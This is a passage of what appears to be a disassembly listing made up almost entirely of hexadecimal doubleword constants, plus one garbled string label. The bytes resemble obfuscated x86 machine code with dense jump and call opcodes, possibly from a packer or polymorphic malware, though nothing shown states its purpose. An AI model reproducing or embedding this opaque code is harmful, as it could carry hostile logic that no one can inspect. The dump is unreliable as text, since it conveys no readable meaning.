81D2BF0Fh, 0AEF3E6CFh dd 18B9667Ch, 0CE807h, 0FD390000h, 610D6223h, 7A801F1Ah dd 850F9D93h, 3, 5FD0DA80h, 0E52AB6BFh, 0D1816675h, 67BE6367h dd 0E9100AC6h, 12h, 2304B628h, 9009F51Bh, 0D2A22EDAh, 0AD972BEBh dd 10E9C2C2h, 28000000h, 6946BAE4h, 29A3A4A8h, 3DD0F10Bh dd 60F992C9h, 9BF78166h, 0E861FC78h, 14h, 0BCBED582h, 8ECC4560h dd 6E4890A7h, 3D968738h, 0FDCBA7FFh, 5B616056h, 38B0F5Bh dd 66000000h dd 0E8F8FB8Bh, 0Eh, 0F31C3436h, 0EA7025E0h, 0A539AFA8h dd 8B0F41B1h, 16h, 10E8h, 49687500h, 7FAFBE46h, 0C69E7368h dd 0D31BF1A4h, 665F5B44h, 1E3ED381h, 0FF5AFB1h, 58Dh, 0F1816600h dd 6660C3CFh, 8C0FC68Bh, 2, 0E8615F56h, 7, 8AEE0C68h, 0E956FCBBh dd 0Ah, 0FD6AACBEh, 0D3A5B3D6h, 5759E8AEh, 0B79CF181h dd 0E9594746h, 5, 0A75A28A1h, 660BB2FCh, 0F29B9BFh, 583h dd 9786B800h, 0D3814415h, 1FFBC1C9h, 0FD3B70Fh, 0EB81D3B7h dd 27A6E2B1h, 9E9F9h, 2C60000h, 74F88278h, 0FF8F081h, 483h dd 0BEB86600h, 0AE43BE87h, 0B7FC2342h, 0F8BF0F58h, 76B6D2BBh dd 5800F57h, 0BF000000h, 36429183h, 82E38166h, 6E97Ch dd 10E60000h, 5125238Eh, 0C88B66FCh, 6DBA6660h, 0C18B668Bh dd 0FE861h, 0B4C0000h, 0DB2F31EAh, 0F3F39DBFh, 0EE8C7609h dd 79DE810Ah, 58213C39h, 0E9DEB70Fh, 5, 84343E0Ah, 0CCBA662Bh dd 0D0816664h, 0AB5C6FCh, 986B966h, 8166FA8Ah, 0E95263C3h dd 0Dh, 1FA5A7C9h, 0F8BD87A5h, 9CD4A839h, 0C88B66C2h, 6146E0BAh dd 0E2EC805Eh, 74B9EAB8h, 9E86034h, 4C000000h, 9AC76D3Dh dd 671E4034h, 850Fh, 615A0000h, 80D68B66h, 13E86DC1h, 0B6000000h dd 0FC63F092h, 23205BEh, 38684EACh, 4C429571h, 0B85210F3h dd 60E3E457h, 0FD8A5A5Ah, 18810Fh, 0E9600000h, 0Eh, 3AC6D40h dd 0DD70CEF7h, 17DC1EE7h, 0E080A817h, 0FF961B1h, 2086h dd 1A800F00h, 0E8000000h, 14h, 0B997D716h, 0BC5C72Eh, 0CACB6EADh dd 5E4B90Dh, 68633CF0h, 93B9665Ah, 0F7B70F20h, 0E980F98Ah dd 1F5AB885h, 57B139EEh, 5E9h, 6CEBBD00h, 11E8FB1Eh, 3C000000h dd 5C7BD98Fh, 65A1D790h, 30820080h, 224D9AA6h, 7E9h, 902A2E00h dd 0A75F2F75h, 0BAD88B5Fh, 301FDFB5h, 3B99BF66h, 8F0F6060h dd 0 dd 6880F61h, 0F000000h, 8Eh, 810F6100h, 0Ch, 68C0Fh, 880F0000h dd 0 aFbPdfbc db 'f│оPdf│Фэ',0 dw 6060h dd 0DF81CF8Ah, 785BE9CBh, 0FA8B6661h, 830F6061h, 6, 800Fh dd 0FE80000h, 10000000h, 41D4BBE2h, 9FDD58AFh, 1110EFBAh dd 0CF802D00h, 0BB615BC0h, 7F80A084h, 9898EB9h, 8F0F2Dh dd 0B3000000h, 0B70FF550h, 0E9D78AFFh, 5, 0FF003319h, 0CD2EB800h dd 22B0426Fh, 482CBA66h, 0CAF78160h, 611846EEh, 0A7C38166h dd 0B70FF995h, 7E9C6h, 1C540000h, 90560913h, 0E08166C1h dd 0BF0F43DEh, 0FEB70FDAh, 5E9h, 72482400h, 0F181CA2Eh dd 2897BAEEh, 8B664CB0h, 1442BBD0h, 0FC8A53DCh, 0B840Fh dd 860F0000h, 5, 93C18166h, 0F7BF0FEEh, 0C3C68060h, 8D0F5661h dd 3, 5ADAB70Fh, 38E0Fh, 0BF0F0000h, 0D78B66F6h, 0BF0F60F5h dd 61F78BDEh, 9E9h, 0C1424800h, 1E80E3DEh, 66603327h, 0B8084FB9h dd 62FCDE63h, 7DBB6661h, 0BF66606Dh, 666023E9h, 0E80EA5BEh dd 0Ah, 4C3DE5A5h, 0B24E1654h, 615B318Bh, 0D38B6661h, 97D38060h dd 0AA4BD181h, 80610C27h, 880F9FD4h, 5, 0A8D98052h, 0F8BBFC5Fh dd 0BE3B6826h, 7C5B70DFh, 5F5A5150h, 80FFBF0Fh, 8B66F0E8h dd 0D28166FAh, 8166FBC1h, 80DBECF3h, 0D381D7CAh, 4CAB0A32h dd 0FD0BF0Fh, 787h, 81665300h, 5FE400D7h, 0F987ED80h, 81C1B70Fh dd 48131FCFh, 0B81DB31Eh, 1ABE6FE8h, 0E2CF8166h, 0E6816625h dd 8166AE5Ch, 0E919F0E3h, 8, 9691ECE2h, 399B4957h, 0CE8h dd 0D0EFFA00h, 0E00C7A2Bh, 9D25D784h, 9E9BB891h, 0E95A7D1Eh dd 11h, 0D69C2863h, 0FCBE151Ch, 0C50234Bh, 18A97FF6h, 0B7D68B2Ch dd 119EBED3h, 6060335Ch, 0B4BDF681h, 0C281633Ah, 772EDBFCh dd 61FB8B61h, 0E978B660h, 0Bh, 0CB5538BCh, 9C3A604Bh, 618B7A48h dd 10E9h, 82A1EA00h, 0C1EA3B47h, 7D32C36h, 9046D35Dh, 8196B011h dd 43E320EBh, 77B96663h, 5E8EAh, 20A00000h, 66E8159Eh dd 58C587BFh, 0A8F0Fh, 0F600000h, 87h, 61C18B00h, 8C0FD98Bh dd 3, 0E9F2BF0Fh, 10h, 0FD050B7Dh, 0FBA3EE17h, 80DBC2DCh dd 0F47B71E6h, 0D7C18166h, 11E852D1h, 1D000000h, 0D10567C1h dd 0AA21A476h, 8CB62088h, 2FDAF3AEh, 0BCEDB966h, 48B75E5Eh dd 70BB5060h, 59352172h, 0BE861h, 4EE00000h, 0C684A114h dd 0F6E873B2h, 0DE963h, 5ED90000h, 0A6A076B5h, 0A58CE38Ah dd 59A10396h, 2FDF81F8h, 802BC155h, 81663AECh, 51339EE9h dd 81665AF5h, 66EDE9F1h, 0F7EEF081h, 0FE9h, 4C8F0900h dd 0FEDDF10Eh, 0A27EA853h, 7EC9F1C2h, 8F0FFE8Bh, 5, 278FE4B8h dd 11E93Dh, 0D84E0000h, 7E9FC165h, 30A294EFh, 0E091CE86h dd 0E81AC393h, 0Eh, 7215483Dh, 0EF43FD19h, 0E0838803h dd 0BF0F4355h, 9E85BF2h, 84000000h, 384AAA9Bh, 4B5D2F23h dd 815F5E53h, 12637DDAh, 7E947h, 0D00B0000h, 69FF5F37h dd 7593BBE7h, 81662FE3h, 0B82F14E9h, 3F12994Ah, 0F46E080h dd 68Fh, 890F00h, 8B000000h, 0EB8166CEh, 0C3B40F88h, 0B8A0Fh dd 0F600000h, 8Bh, 0CBBF0F00h, 60F78A61h, 420E31B9h, 21B96140h dd 8A0EC160h, 3ADF81FDh, 0BE2D1C43h, 0BD3CCDh, 0C8BF60FCh dd 665CD878h, 0F61C38Bh, 8166DABFh, 0E966F1F0h, 0Dh, 0B6243649h dd 0F89CCA58h, 8BB4727Eh, 42EE81E3h, 8B45C3BFh, 0FFBA66D9h dd 3DC181B1h, 81257A51h, 0CD9FDEEAh, 0E9FA8B46h, 0Ah, 0E125F34Fh dd 966C438Ch, 58529A44h, 81D38B66h, 480939D3h, 505BBE36h dd 96BF062Fh, 8B59360Eh, 5E8D3h, 9D180000h, 0F4C34E6h dd 48Eh, 0B5B96600h, 0B3B85B46h, 8A3742C8h, 0BDB750D3h dd 0FCE98158h, 0F0CA486h, 0C80h, 68F0F00h, 0F000000h, 8Bh dd 0C8816600h, 0FA8B1078h, 0D18B66FCh, 15840Fh, 10E90000h dd 51000000h, 0FE984902h, 795746E0h, 0BC6117D6h, 662F972Dh dd 60E199BBh, 0BB55EF80h, 6B057230h, 92EB8061h, 0E9DA8B66h dd 0Eh, 69EA73F4h, 0E21CF5E4h, 0F1E7164Fh, 0BA66E874h dd 0FCF5D937h, 9E9h, 20E86D00h, 80AAE956h, 800F9CDFh, 1 dd 0F88B66FCh, 0FE8h, 384D2800h, 9964971Ch, 667E8499h dd 3D4B26A1h, 25CF815Bh, 6673BA66h, 0CA6CF181h, 66C68B66h dd 0F08ACF8Bh, 0CF92C681h, 8B662E96h, 9E9C2h, 1F660000h dd 0CEADEB7Ch, 6659BDAEh, 0FF885BEh, 148Ah, 0FE900h, 5FA80000h dd 68E1A926h, 0AC26B8F5h, 317D19F2h, 0DEBF0F58h, 5840Fh dd 81660000h, 66FE7FF3h, 8166D78Bh, 6083E7CFh, 0BE9FA8Ah dd 7B000000h, 0C2C98D43h, 0F0B42146h, 0E86150F5h, 8, 3D4573A5h dd 0C402DAECh, 0E944B459h, 5, 0AB4E81AAh, 97BE66BEh, 0BBBFBA1Ah dd 24B852ECh, 0E95E5417h, 0Ch, 1F80EA18h, 0B24BADD6h, 0FCA89146h dd 3F41BB66h, 28C0F60h, 60000000h, 81536161h, 70AF4CF2h dd 0DE95A60h, 57000000h, 0C75B165Bh, 98977028h, 44C63E0Ch dd 0FD2B70Fh, 1185h, 0CE900h, 0EC30000h, 0E6A55C5Eh, 0F68CFE8Ch dd 606066FFh, 816655B2h, 61BCE4E3h, 61C3BF0Fh, 0EE803B5h dd 3A000000h, 1268D8DBh, 0E3FEEDD3h, 39752260h, 1EC28083h dd 0FE9605Ah, 81000000h, 0A859F2Eh, 0F64B81F1h, 6129093Ch dd 8A61E49Eh, 0EE9E3h, 934E0000h, 8EC24111h, 0CA99A73Dh dd 0B261F503h, 5659B360h, 860Fh, 615E0000h, 0D3BF0FF5h dd 3048D381h, 0AE80747h, 59000000h, 49FC8427h, 0F8D0C6C2h dd 0C3BF0F52h, 5017B258h, 6803D181h, 0E9586E64h, 0Dh, 0ADE93390h dd 0D8797154h, 9593B2A6h, 860F60DCh, 2, 0D6815953h, 242091FFh dd 0C3816661h, 8B66B59Ch, 55E281F9h, 0E95021BDh, 14h, 110D128Ah dd 0B7547Bh, 0B785CA53h, 0FFD56DCBh, 53BA7BCFh, 7ADABB66h dd 5F576060h, 8C0Fh, 0E8610000h, 7, 0C2E2C11Eh, 5FF3E0B1h dd 42B96661h, 0BE9D3h, 3E8C0000h, 0C8719546h, 0CA6649C8h dd 0D681F8DAh, 0C916359h, 0C8BF0F51h, 0CE859h, 3B490000h dd 5EF2DBC4h, 6D0CFD98h, 0DEBBA3C0h, 5A085B5Ch, 12E8h dd 53C31A00h, 810909Fh, 0D20A6C77h, 0F749CBC3h, 59AE67C4h dd 361ACA81h, 66FC2A9Eh, 8166C18Bh, 80009FD7h, 8166E7E3h dd 664890E7h, 0F954A7BEh, 66527BB3h, 0BF5BD68Bh, 5906FB5Fh dd 8166D68Bh, 0FE2DEEAh, 386h, 0D88B6600h, 7E9h, 56A97500h dd 0F34A67F0h, 0D7814FB4h, 6D3F7B60h, 0FC3B70Fh, 0CEBEF0BFh dd 8A74E6B7h, 0F5153F4h, 87h, 0F55F5800h, 0C810Fh, 890F0000h dd 6, 0BE6CF381h, 850F6A86h, 2, 9E8C68Bh, 6A000000h, 6548AD95h dd 0F9F901B1h, 0E3816660h, 0B70FF73Eh, 0F95F61C9h, 12E9h dd 16199D00h, 0CB76AE39h, 20A19832h, 1CB91509h, 0FC1FEB46h dd 6820Fh, 8F0F0000h, 0 dd 0D64BCB81h, 86B31B74h, 860Fh, 0BA660000h, 870FF37Bh dd 14h, 7E960h, 66630000h, 1101993Ch, 890F27h, 61000000h dd 7E9h, 0FBACA500h, 5DCDD457h, 0C201B966h, 0F5F9BF0Fh dd 9E9h, 0E1913100h, 87DB17C0h, 0FF86EC3h, 0C28BC8B7h dd 28B86660h, 61FCB0C1h, 0E961F960h, 8, 6051E9DFh, 460F580h dd 5E9h, 71026900h, 0C780895Fh, 14E9C8h, 8CC0000h, 0ADBF2B93h dd 36CAEA5Ah, 3F91B27h, 0E96AE032h, 0AE98436h, 0ED000000h dd 8665F7A0h, 0F09BAE9h, 0D98B661Fh, 0FC28B66h, 0B89h dd 58E0F00h, 0BF000000h, 4393AB81h, 0FE8h, 8DC6E900h, 311E82AEh dd 87FF5DBBh, 0F3D4DDB7h, 6EC28156h, 584BD0B1h, 12880F5Bh dd 53000000h, 0AE8h, 0D2F79700h, 5E776A2Eh, 5F4DFD8Bh dd 0EE81665Fh, 0D78AA727h, 48D18166h, 66E58A5Ch, 7A43F081h dd 0F5BF857h, 108Ah, 9E800h, 62DB0000h, 0C9E21ED5h, 0F8AD7C09h dd 0BB66F55Eh, 0B9B43DB5h, 29F28160h, 6138F006h, 8E9h dd 173F00h, 3FB884F3h, 0CBBE6042h, 0BE1171F0h, 7439D34Ah dd 6E961h, 42B80000h, 0A48E8B51h, 66DF8B66h, 6D92EB81h dd 0FA3F080h, 484h, 8AB96600h, 0FE953h, 49C20000h, 0E9626758h dd 0F895C7FEh, 5D6C80A1h, 0E180F8BAh, 0DEF6803Dh, 29C981F5h dd 0F3CAEB4h, 12E8FBBFh, 0C8000000h, 33E4FF84h, 161465FDh dd 3A4CDB0Eh, 0FAA5A820h, 81665BB5h, 0F9357CD1h, 850Fh dd 0E3810000h, 3CA805B8h, 14850Fh, 0FE90000h, 0B0000000h dd 0F9C0F70h, 4DAF5C08h, 0E34D15E5h, 0C38BCA79h, 0CE9h dd 5658E200h, 32DEAE11h, 0F1D6FBCDh, 8B6650B5h, 880F5AD3h dd 3, 0FD8BF0Fh, 38Ch, 0DA8B6600h, 8166C28Bh, 66B984C0h dd 0E9F8D18Bh, 0Dh, 0EF686B57h, 33A81DEh, 0F1EA4BE5h, 11E961h dd 0B6FA0000h, 1897F0A6h, 72ACA6DAh, 0D7E3C36Ah, 0E8FA393Ah dd 8, 9116E14Fh, 9C34B698h, 68C0Fh, 0D6810000h, 11CF83EEh dd 0AE85Eh, 2DDB0000h, 0C6E4244Ch, 7DD0B112h, 53586EB4h dd 0E98BF56h, 5F5939D2h, 0E9FCCB8Bh, 12h, 0AAEEEC51h, 0D67B2BAFh dd 72D7CB71h, 75743C53h, 0CE81FC5Bh, 0E0482BFh, 0FCCBB70Fh dd 0C8D4E281h, 0CE93BD2h, 10000000h, 4C84F789h, 9269006Dh dd 51343659h, 2860Fh, 3B50000h, 605CB25Eh, 6061CC8Ah, 0E6816652h dd 615BA679h, 0EE8h, 0EC95E300h, 37D659F2h, 4A696895h dd 585D9225h, 6810Fh, 0CA810000h, 653ACEE6h, 68A0Fh, 66560000h dd 5BB4C5B9h, 3BA7AB4h, 0F31663Bh, 93B1C7B7h, 1F890Fh dd 6E80000h, 24000000h, 0C6A106BBh, 0DE875h, 0B8110000h dd 9B42EA02h, 6B469CB8h, 5F6120C9h, 81D08B58h, 332B55DFh dd 3F68044h, 0FE9h, 0D2021000h, 0E689118Bh, 514798F8h dd 28AAC116h, 6880Fh, 890F0000h, 0 dd 14E9h, 0A3585500h, 63CD2A3Dh, 538329CBh, 78B3BB5Fh dd 0D8DE146Dh, 4890F15h, 60000000h, 6661C88Bh, 0B966C18Bh dd 0E3801A97h, 0B96653C4h, 0F95EE506h, 0FD2B70Fh, 0F280C1B7h dd 8BF28B31h, 0EE8F9h, 59150000h, 0B3B10777h, 5E13C8Eh dd 131E94EBh, 5BD8BF0Fh, 0F608BB2h, 681h, 890F00h, 81000000h dd 5DDFAAC9h, 0E8566170h, 8, 845CAFC5h, 0D124E793h, 367FD081h dd 5B5A0CBDh, 4870Fh, 0B9660000h, 95B5A186h, 8E0Fh, 11E90000h dd 2000000h, 25F68296h, 67697FB6h, 7409B1FDh, 9C075CE0h dd 13E9h, 0DAA4B100h, 7E60EF8Ah, 0CE5F802Ah, 32ECD508h dd 3EAC1283h, 0FD0B70Fh, 0BF0FC0BFh, 85B0B9DBh, 0DF80797Bh dd 38A0FB9h, 80000000h, 0E9F8C1E8h, 0Eh, 0AB77DD40h, 6F3D8671h dd 0DC7EBA2Ch, 7AB301F7h, 34BB66F5h, 62BF66AAh, 0D28166DAh dd 0CA8B575Dh, 0FD38B66h, 58Ch, 0D56EBE00h, 605045E1h dd 59DF8166h, 830FFCh, 61000000h, 0FE95Fh, 6A2F0000h, 97A40C7Eh dd 64E0AC5Ch, 0AD1E8600h, 0F60F5C3h, 0BB61FFBFh, 4847F6B4h dd 17F3BF66h, 6800F56h, 0F000000h, 85h, 0AE95800h, 0EF000000h dd 8131E475h, 1205DE8Bh, 2FCA810Eh, 0B06769A5h, 890FF9B0h dd 0 dd 5810Fh, 0BE0000h, 60377083h, 5E8h, 0EBA01100h, 8166B1A1h dd 5B3308DAh, 0DE9h, 0F7C89600h, 97DF81FDh, 0BE1684F1h dd 0F617EFFh, 38Dh, 0F1B70F00h, 8207B856h, 815B7C53h, 14AA75C1h dd 81665177h, 5B1C6DF3h, 48D0Fh, 0B8660000h, 0E3BE7807h dd 0F10BB72h, 880h, 2880F00h, 50000000h, 0DDB9665Bh, 66F08AB6h dd 8909C981h, 73AD65BBh, 0D810F23h, 60000000h, 0C91792BEh dd 7BE7815Dh, 6155889Fh, 0F0B70F51h, 0E9F88B59h, 9, 0F2E33005h dd 2F1D9AD6h, 0FFB70F37h, 8166E38Ah, 66B9CFE7h, 0E9FABCBFh dd 0Bh, 653B587Dh, 42EFFC42h, 662D5A2Eh, 8B6FD2BEh, 3CFCBBFAh dd 0BB6074B8h, 36B02E88h, 30D18166h, 0FE96117h, 0F9000000h dd 8971046Ch, 64C7D706h, 66F2D389h, 0B70F426Dh, 0CEBB66CFh dd 54CC80C4h, 0FFC8AB2h, 0B87h, 58E0F00h, 0BE000000h, 46FCBD60h dd 0B96659B3h, 0B70FAA01h, 0FCE8BDAh, 8166C8BFh, 0BE5B59CFh dd 687943C0h, 71CF8166h, 0B3F5B6h, 0FFFB70Fh, 78Dh, 5DBF5700h dd 5836258Bh, 0B4B4F18Ah, 0C941F9BBh, 0F60506Ah, 11E8F8B7h dd 0A8000000h, 81E06F61h, 0B22E2AA4h, 0EB8B9C2Bh, 0DE2D2DA2h dd 8B5B6158h, 8AB660C1h, 64C78166h, 0B9F5610Dh, 7D77936Ch dd 0E1816057h, 1386016Ah, 0D2D9F681h, 59615321h, 52F7B70Fh dd 11E9h, 0C1184400h, 454407D4h, 0F7023F78h, 40253057h dd 665926D9h, 0C381F88Bh, 666EA33Bh, 6E8FCh, 938C0000h dd 0B21D4FCFh, 0C68B6658h, 5E9F8h, 6730000h, 0E9AE7029h dd 11h, 56C63062h, 13A8F47h, 0B063842Ch, 75FE2723h, 0CD3812Dh dd 813F869Ah, 39C05AF3h, 0F645B93Dh, 870F7053h, 3, 60CBBF0Fh dd 0D0DB8166h, 0EE816662h, 8B617277h, 7E8D9h, 580A0000h dd 387EFEEEh, 605FFC37h, 3E10A3BEh, 68C0F6Ah, 81000000h dd 620CF0CFh, 6660616Ch, 37D5F181h, 9E861h, 0F410000h dd 86C660E7h, 662E16F4h, 605BCB8Bh, 12E8h, 0E0FCCD00h dd 315ADA54h, 501453Fh, 6D439BCBh, 59143D7Dh, 12E9h, 1FB4E600h dd 456347FAh, 2F89F8ADh, 3F4EED63h, 61A02498h, 0C783BB50h dd 0F5802DCh, 0E9FCF9B7h, 13h, 28379394h, 0BCA79A00h, 6AE093Bh dd 0C95546FEh, 8ADD127Ah, 51D981F5h, 66062E7Bh, 80E2D0BBh dd 8BF91CEEh, 0FEB866D6h, 15F5BB99h, 0DE971F0h, 0A7000000h dd 998E266Ah, 5C92AA93h, 0F2B8E199h, 85A8B966h, 81666060h dd 0F0ADCD6h, 8Bh, 81666100h, 61BEFBE3h, 66F2B70Fh, 800FF88Bh dd 3, 0FF0BF0Fh, 885h, 0BB666000h, 0DB3F13Dh, 11E9F561h dd 0B9000000h, 861363D5h, 7EEA76FFh, 4029768Ch, 37C50BBDh dd 0B064EF80h, 1CBA66B2h, 0D88B665Ch, 53D68B66h, 13E959FCh dd 0A2000000h, 38BB5662h, 6DD7FCCAh, 6AECED29h, 93D43DBDh dd 13E89177h, 9000000h, 755AE68Bh, 13E63261h, 0D449963Bh dd 564D06CFh, 890F58BCh, 5, 2FE08166h, 810F5F95h, 10h dd 8E8h, 4C5AD700h, 5C60DDEBh, 59F78B87h, 5E8h, 0C844AC00h dd 0F78BDAA5h, 5FF8515Fh, 48D0Fh, 0BE660000h, 8A50E62Dh dd 6E85EE5h, 5C000000h, 32622616h, 5EFC5269h, 19800F5Eh dd 0E9000000h, 14h, 56BFCE4Ch, 581BE83Eh, 919A12F9h, 978E7C94h dd 0CB4D0D96h, 0EE9h, 5CBE7500h, 0D8643805h, 52AB022Bh dd 66F20A8Ch, 0D881C38Bh, 2480814Eh, 1820Fh, 80F90000h dd 0BE666FE9h, 0BE9C32Eh, 4B000000h, 43BB4F5Dh, 9879B14Dh dd 0FE8E50Eh, 0C5000000h, 0FEEB1710h, 0FAA8AF51h, 0A75C00DAh dd 0B70FD29Eh, 0F6058F3h, 58Ch, 0B7F0B800h, 850F7CE9h dd 11h, 0CE9h, 24407A00h, 0B6C16A88h, 63C9AC73h, 800F6167h dd 12h, 9E8h, 0C76E9100h, 0A677A285h, 0CC80F8A7h, 0CE858A8h dd 0BC000000h, 98DBFA0Bh, 0C7181AD0h, 6031971Fh, 0AA5019BEh dd 6161606Dh, 7E85Fh, 9C90000h, 4A89AD7Ch, 0F3BF0F45h dd 0CBE98159h, 0F02674Bh, 0B87h, 6E900h, 23100000h, 512F247h dd 5278A4BBh, 8166606Ah, 0E9820CD8h, 0Fh, 63B42AEAh, 0DF04A260h dd 1EB576F0h, 618415C2h, 7E9h, 227D9000h, 15980630h, 0EE8h dd 0E0932F00h, 0B027D585h, 6DE89007h, 0F8C8284h, 28Fh dd 5BCA8B00h, 2880Fh, 0F08B0000h, 11E8h, 237DC300h, 9095CE2h dd 0B94A35BCh, 25A7499Bh, 665330EDh, 5AB5DEB9h, 0C681F85Ah dd 75EF5A4Eh, 6E9C28Ah, 1000000h, 5FE3739h, 0DE972h, 0EACF0000h dd 445C6FEDh, 0E1186478h, 5381C409h, 0B9665BF8h, 0B70F6C5Fh dd 97BA66DFh, 81FB8B01h, 4AD4F8DAh, 58C0F25h, 66000000h dd 0DAEBD981h, 0CCB3C68Bh, 387C181h, 0FFC1A34h, 0F87h dd 9E800h, 0F4640000h, 58C43ECh, 584E88E8h, 212AB966h dd 3EBB6653h, 0FE8B5AA2h, 38F0Fh, 8B660000h, 810FFAh, 0F000000h dd 8060D6BFh, 0E681C1D3h, 2BDB2ADFh, 0E8F9F561h, 6, 0CCC0F0B9h dd 0B70F2EBBh, 8B665EFBh, 2EC380DEh, 0DF78166h, 51D78196h dd 0F3A87F3h, 389h, 0C9CB8000h, 3880Fh, 0B70F0000h, 0C28166C7h dd 52FC8A0Eh, 19850Fh, 14E90000h, 0E3000000h, 0F4C9B7E3h dd 0E469EA73h, 4FE21CF5h, 74F1E716h, 5979E1E8h, 8C9EBA66h dd 2754B866h, 0FE8h, 6E221B00h, 0C255A912h, 571CF8DAh dd 74B007Fh, 0F5E9FB2h, 384h, 0C9B70F00h, 5BC98060h, 0BE9h dd 0B456F500h, 7A50418Fh, 0A7D9F3C3h, 0DE961h, 20D60000h dd 2AD55634h, 0F7A0ED95h, 0FE98665h, 58Eh, 7C51BE00h, 81662531h dd 0F55A9DFh, 168Fh, 11E900h, 0B2860000h, 38C9F333h, 828F9FD8h dd 272C6AF5h, 0FB7AC61h, 0BA66F8B7h, 81FC1298h, 67A728CEh dd 7E91Eh, 0FD410000h, 7D23A6FBh, 0ECC181C3h, 0F574B4C3h dd 0E9F2BF0Fh, 14h, 0CAC64CC7h, 0BBBE3Ah, 5CFEDCB7h, 0EBD10045h dd 7A079A60h, 14E9h, 1E8E6500h, 8B7B2E25h, 4886E18h, 0AE2CC30Dh dd 497369D3h, 0F28B66EFh, 7BB3EA81h, 81661999h, 66D6F9C8h dd 0F5636ABEh, 71EF99BBh, 0D98B662Dh, 0FCFB70Fh, 1285h dd 0AE800h, 2EBD0000h, 70AA7903h, 0FA40F039h, 0BB5A6160h dd 792B0ED6h, 14FCDFB8h, 0DBBE6603h, 16810FE8h, 0F000000h dd 108Dh, 0BE900h, 0BF3D0000h, 6C69A28Fh, 47FE6994h, 1D8D0FA7h dd 0E8000000h, 11h, 7F3D16A5h, 0E93F6596h, 0C449A6F1h dd 0B8553F41h, 850F06h, 58000000h, 0F98B6660h, 0ACD18166h dd 0BABA610Eh, 0E857CAEAh, 14h, 0D27F99A2h, 0A9B5B3E6h dd 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 890F60h, 0E9000000h dd 0Ah, 87BF8502h, 0FD6642F7h, 5B61DDFAh, 0AD2D3FBFh, 0A4A2BF2Dh dd 60FC4B75h, 0B86698B6h, 0B461B116h, 12E9BDh, 0DE170000h dd 6CDD3F79h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh, 0EE9h dd 0C9469A00h, 16B46FF5h, 0D6FAACEEh, 60C84952h, 0E8616060h dd 14h, 0E06D2CD8h, 288E479Fh, 67B21201h, 0A66D42FCh, 80C5BAFDh dd 61F56158h, 2932E381h, 14E962D4h, 47000000h, 23803EBEh dd 361C89B7h, 0B882B891h, 908A751Dh, 66194A15h, 4D8BC381h dd 2850Fh, 9AB40000h, 60D68151h dd 5E7C69FDh, 0FCC78B66h, 0FD7BF0Fh, 5E8F7BFh, 95000000h dd 82F18DDBh, 0BC44BF66h, 0F38B665Eh, 10E9h, 0C8D1DF00h dd 50369DA8h, 89B17D99h, 0FC86FE46h, 82BB6073h, 0F35FC1Ch dd 180h, 0FC61F900h, 8BF18B66h, 0F08166FAh, 6660D58Eh dd 50AD86BEh, 870Fh, 61590000h, 5DE4C381h, 0BB662DB2h dd 8B662777h, 93F181C8h, 662AE7EDh, 12F1E281h, 0C3B70FF9h dd 7EE78166h, 0CFB70F96h, 8166F08Bh, 0FF047D7h, 8166CBB7h dd 0E95B8ED1h, 10h, 6DA4F279h, 0D3FE5D88h, 0D91E5A79h dd 8E0542A4h, 0BF66FCB6h, 0BF0FEC14h, 0C6B70FCBh, 8B66FE8Bh dd 5F780DAh, 0F264D0BBh, 9AABE12h, 800F11A7h, 20h, 0BEF1BE60h dd 14E96F51h, 1D000000h, 99179E52h, 0AF5BBE5Ah, 43502012h dd 0DA88F490h, 615D46B6h, 13E9h, 40C8F900h, 33753C62h dd 0D346543Ch, 0E717AC41h, 16F08B8h, 60941BFh, 0DBBF0F44h dd 0F2B70F53h, 0CAB70F5Ah, 11E78166h, 6BC181ACh, 0B947B5B0h dd 7010B710h, 66FAB70Fh, 8354EA81h, 0DBEFEB81h, 56604AFAh dd 615FCE8Bh, 5E9h, 0CB3AF900h, 0E8F8B3A6h, 0Bh, 0CB353FE1h dd 3A205C6Bh, 0E93CA15Ch, 10h, 0B139639Bh, 3803DF8Dh, 5E381FC2h dd 91EEB546h, 8E0F5Eh, 0BB000000h, 0E3B8D59h, 0B4FBBF0Fh dd 0C1816667h, 0A0B9C470h, 813C5ECFh, 6E65A7E8h, 5EFC574Ch dd 0F5A51FCh, 38Eh, 0C7BF0F00h, 7168DF81h, 0BF0F31FEh dd 56EBB9C2h, 0B70F05F7h, 83BF66F9h, 0CDB8667Bh, 0DA8B6608h dd 0E6816660h, 61FCBD81h, 0B8668EB0h, 81B85D4Ch, 0F6A170Ah dd 1986h, 14E900h, 28A90000h, 3681C292h, 147985ECh, 0AF25198Ah dd 67C2B03Ch, 0B060B0CCh, 0D9B70FCEh, 870F61h, 80000000h dd 8A0F03F6h, 0 dd 14E9h, 0EFF2B200h, 76588218h, 41A9C64Dh, 20C8D92Ah dd 0B0702BF6h, 0E7816656h, 5EB8940Fh, 8B198905h, 66F18BD7h dd 0BE66CE8Bh, 13E9EF16h, 6E000000h, 0D4DC7E6h, 0DA282172h dd 200BF2D6h, 0B049EA53h, 0BA661BA9h, 1FBECE6Ah, 0E8173348h dd 11h, 0B1D94547h, 0CC43ACADh, 0C27DF0ACh, 0FC6D9072h dd 13E900h, 0AB70000h, 0A7B5E98Bh, 48E21701h, 2BE47770h dd 0F866975Eh, 0FE85E18h, 95000000h, 996FB8Dh, 173FF3h dd 3FB884F3h, 59FCDE42h, 11E8h, 205D4200h, 8F9A98B5h, 0C817857h dd 4367DFD1h, 0E953A559h, 11h, 5914E67Dh, 9F852250h, 89D57F92h dd 0EBF81F82h, 8A5B5F59h, 0C68B66D8h, 13E9h, 9F761A00h dd 158139Dh, 21EA1BA2h, 0FFB531B0h, 0C06BCFEFh, 78EE90BBh dd 0F1BF0F4Dh, 0DB88D081h, 57F90043h, 0F7845BB9h, 0B70F5816h dd 98A0FFFh, 0F000000h, 38Ch, 0C8BF0F00h, 0F560D980h, 0FE9h dd 89202100h, 15C4DD67h, 58C2F396h, 7346F4B6h, 8CD38166h dd 0C78B6670h, 5850Fh, 81660000h, 0E9340FD2h, 12h, 10DA6AB3h dd 1BA56B12h, 382D0F67h, 15D3DFCh, 81F894EDh, 4F5FD4D8h dd 48D0F5Ah, 66000000h, 665C20BBh, 3221E881h, 0B85BFC51h dd 5C35EFB8h, 7E8h, 0E4A0C400h, 8D40D9B2h, 18CE815Eh, 0F0F4317h dd 58Bh, 57A3BA00h, 0BF0F65A7h, 0D28166F6h, 0D580F46Eh dd 13E9E4h, 713C0000h, 5F3C6C71h, 1A6DCE6Ah, 9213EF13h dd 0D5BB694Bh, 1E830FBDh, 60000000h, 0E5B3DF81h, 11E91AEEh dd 0EC000000h, 0AF7D97FBh, 80E25FC4h, 94BDCBE7h, 0C86CFD38h 